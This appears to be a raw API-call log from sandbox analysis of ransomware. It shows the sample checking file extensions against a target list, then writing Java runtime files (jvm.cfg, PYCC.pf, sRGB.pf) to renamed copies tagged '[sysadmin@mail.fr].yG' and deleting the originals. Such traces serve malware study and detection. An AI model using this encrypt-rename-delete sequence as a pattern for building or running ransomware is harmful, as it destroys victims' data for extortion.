	[0138.300] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.300] lstrlenW (lpString=".jpg") returned 4
	[0138.300] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.300] lstrlenW (lpString=".doc") returned 4
	[0138.300] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString=".docx") returned 5
	[0138.300] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0138.300] lstrlenW (lpString=".pdf") returned 4
	[0138.300] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString=".xls") returned 4
	[0138.300] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString=".xlsx") returned 5
	[0138.300] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0138.300] lstrlenW (lpString=".ppt") returned 4
	[0138.300] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.300] lstrlenW (lpString=".zip") returned 4
	[0138.300] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString=".rar") returned 4
	[0138.300] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0138.300] lstrlenW (lpString=".bz2") returned 4
	[0138.301] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0138.301] lstrlenW (lpString=".7z") returned 3
	[0138.301] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0138.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.301] lstrlenW (lpString=".dbf") returned 4
	[0138.301] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0138.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.301] lstrlenW (lpString=".1cd") returned 4
	[0138.301] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0138.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.301] lstrlenW (lpString=".jpg") returned 4
	[0138.301] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0138.301] lstrcmpiW (lpString1=".cfg", lpString2=".yG") returned -1
	[0138.301] lstrlenW (lpString="jvm.cfg") returned 7
	[0138.301] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0138.302] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=634) returned 1
	[0138.302] CloseHandle (hObject=0x494) returned 1
	[0138.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20
	[0138.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.302] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0138.641] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.641] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.641] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0138.668] GetLastError () returned 0x0
	[0138.669] ReadFile (in: hFile=0x498, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x27a, lpOverlapped=0x0) returned 1
	[0138.670] WriteFile (in: hFile=0x4a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x280, lpOverlapped=0x0) returned 1
	[0138.671] ReadFile (in: hFile=0x498, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.671] WriteFile (in: hFile=0x4a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xe2, lpOverlapped=0x0) returned 1
	[0138.671] SetEndOfFile (hFile=0x4a8) returned 1
	[0138.672] CloseHandle (hObject=0x4a8) returned 1
	[0138.672] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.672] SetEndOfFile (hFile=0x498) returned 1
	[0139.199] CloseHandle (hObject=0x498) returned 1
	[0139.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0139.206] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1
	[0139.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.206] lstrlenW (lpString=".doc") returned 4
	[0139.206] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0139.206] lstrlenW (lpString=".docx") returned 5
	[0139.206] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0139.207] lstrlenW (lpString=".pdf") returned 4
	[0139.207] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0139.207] lstrlenW (lpString=".xls") returned 4
	[0139.207] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0139.207] lstrlenW (lpString=".xlsx") returned 5
	[0139.207] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0139.207] lstrlenW (lpString=".ppt") returned 4
	[0139.207] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0139.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.207] lstrlenW (lpString=".zip") returned 4
	[0139.207] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0139.207] lstrlenW (lpString=".rar") returned 4
	[0139.207] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0139.207] lstrlenW (lpString=".bz2") returned 4
	[0139.207] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0139.207] lstrlenW (lpString=".7z") returned 3
	[0139.207] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0139.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.207] lstrlenW (lpString=".dbf") returned 4
	[0139.207] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0139.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.207] lstrlenW (lpString=".1cd") returned 4
	[0139.207] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0139.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.207] lstrlenW (lpString=".jpg") returned 4
	[0139.207] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0139.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.208] lstrlenW (lpString=".doc") returned 4
	[0139.208] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0139.208] lstrlenW (lpString=".docx") returned 5
	[0139.208] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0139.208] lstrlenW (lpString=".pdf") returned 4
	[0139.208] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0139.208] lstrlenW (lpString=".xls") returned 4
	[0139.208] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0139.208] lstrlenW (lpString=".xlsx") returned 5
	[0139.208] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0139.208] lstrlenW (lpString=".ppt") returned 4
	[0139.208] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0139.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.208] lstrlenW (lpString=".zip") returned 4
	[0139.208] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0139.208] lstrlenW (lpString=".rar") returned 4
	[0139.208] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0139.208] lstrlenW (lpString=".bz2") returned 4
	[0139.208] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0139.208] lstrlenW (lpString=".7z") returned 3
	[0139.208] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0139.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.208] lstrlenW (lpString=".dbf") returned 4
	[0139.208] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0139.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.208] lstrlenW (lpString=".1cd") returned 4
	[0139.208] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0139.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0139.208] lstrlenW (lpString=".jpg") returned 4
	[0139.209] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0139.209] lstrcmpiW (lpString1=".pf", lpString2=".yG") returned -1
	[0139.209] lstrlenW (lpString="PYCC.pf") returned 7
	[0139.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0139.460] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=274474) returned 1
	[0139.460] CloseHandle (hObject=0x4a0) returned 1
	[0139.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20
	[0139.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0139.466] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.466] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0139.467] GetLastError () returned 0x0
	[0139.467] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x4302a, lpOverlapped=0x0) returned 1
	[0139.529] WriteFile (in: hFile=0x4a0, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x43030, lpOverlapped=0x0) returned 1
	[0139.536] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.536] WriteFile (in: hFile=0x4a0, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xe2, lpOverlapped=0x0) returned 1
	[0139.536] SetEndOfFile (hFile=0x4a0) returned 1
	[0139.536] CloseHandle (hObject=0x4a0) returned 1
	[0139.536] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.536] SetEndOfFile (hFile=0x494) returned 1
	[0139.545] CloseHandle (hObject=0x494) returned 1
	[0139.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0139.546] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1
	[0139.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.547] lstrlenW (lpString=".doc") returned 4
	[0139.547] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString=".docx") returned 5
	[0139.547] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0139.547] lstrlenW (lpString=".pdf") returned 4
	[0139.547] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString=".xls") returned 4
	[0139.547] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString=".xlsx") returned 5
	[0139.547] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0139.547] lstrlenW (lpString=".ppt") returned 4
	[0139.547] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.547] lstrlenW (lpString=".zip") returned 4
	[0139.547] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString=".rar") returned 4
	[0139.547] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString=".bz2") returned 4
	[0139.547] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString=".7z") returned 3
	[0139.547] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0139.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.547] lstrlenW (lpString=".dbf") returned 4
	[0139.547] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0139.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.547] lstrlenW (lpString=".1cd") returned 4
	[0139.548] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.548] lstrlenW (lpString=".jpg") returned 4
	[0139.548] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.548] lstrlenW (lpString=".doc") returned 4
	[0139.548] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString=".docx") returned 5
	[0139.548] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0139.548] lstrlenW (lpString=".pdf") returned 4
	[0139.548] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString=".xls") returned 4
	[0139.548] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString=".xlsx") returned 5
	[0139.548] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0139.548] lstrlenW (lpString=".ppt") returned 4
	[0139.548] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.548] lstrlenW (lpString=".zip") returned 4
	[0139.548] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString=".rar") returned 4
	[0139.548] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0139.548] lstrlenW (lpString=".bz2") returned 4
	[0139.548] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0139.549] lstrlenW (lpString=".7z") returned 3
	[0139.549] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0139.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.549] lstrlenW (lpString=".dbf") returned 4
	[0139.549] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0139.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.549] lstrlenW (lpString=".1cd") returned 4
	[0139.549] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0139.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0139.549] lstrlenW (lpString=".jpg") returned 4
	[0139.549] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0139.549] lstrcmpiW (lpString1=".pf", lpString2=".yG") returned -1
	[0139.549] lstrlenW (lpString="sRGB.pf") returned 7
	[0139.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0139.550] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=3144) returned 1
	[0139.550] CloseHandle (hObject=0x494) returned 1
	[0139.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20
	[0139.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0139.551] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.551] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0139.552] GetLastError () returned 0x0
	[0139.552] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xc48, lpOverlapped=0x0) returned 1
	[0139.593] WriteFile (in: hFile=0x4a0, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xc50, lpOverlapped=0x0) returned 1
	[0139.594] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.594] WriteFile (in: hFile=0x4a0, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xe2, lpOverlapped=0x0) returned 1
	[0139.594] SetEndOfFile (hFile=0x4a0) returned 1
	[0139.594] CloseHandle (hObject=0x4a0) returned 1
	[0139.595] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.595] SetEndOfFile (hFile=0x494) returned 1
	[0139.597] CloseHandle (hObject=0x494) returned 1
	[0139.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0139.598] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1
	[0139.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0139.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0139.598] lstrlenW (lpString=".doc") returned 4
	[0139.598] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0139.598] lstrlenW (lpString=".docx") returned 5
	[0140.203] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0140.203] lstrlenW (lpString=".pdf") returned 4
	[0140.204] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString=".xls") returned 4
	[0140.204] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString=".xlsx") returned 5
	[0140.204] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0140.204] lstrlenW (lpString=".ppt") returned 4
	[0140.204] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.204] lstrlenW (lpString=".zip") returned 4
	[0140.204] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString=".rar") returned 4
	[0140.204] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString=".bz2") returned 4
	[0140.204] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString=".7z") returned 3
	[0140.204] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0140.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.204] lstrlenW (lpString=".dbf") returned 4
	[0140.204] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.204] lstrlenW (lpString=".1cd") returned 4
	[0140.204] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.204] lstrlenW (lpString=".jpg") returned 4
	[0140.204] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0140.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.205] lstrlenW (lpString=".doc") returned 4
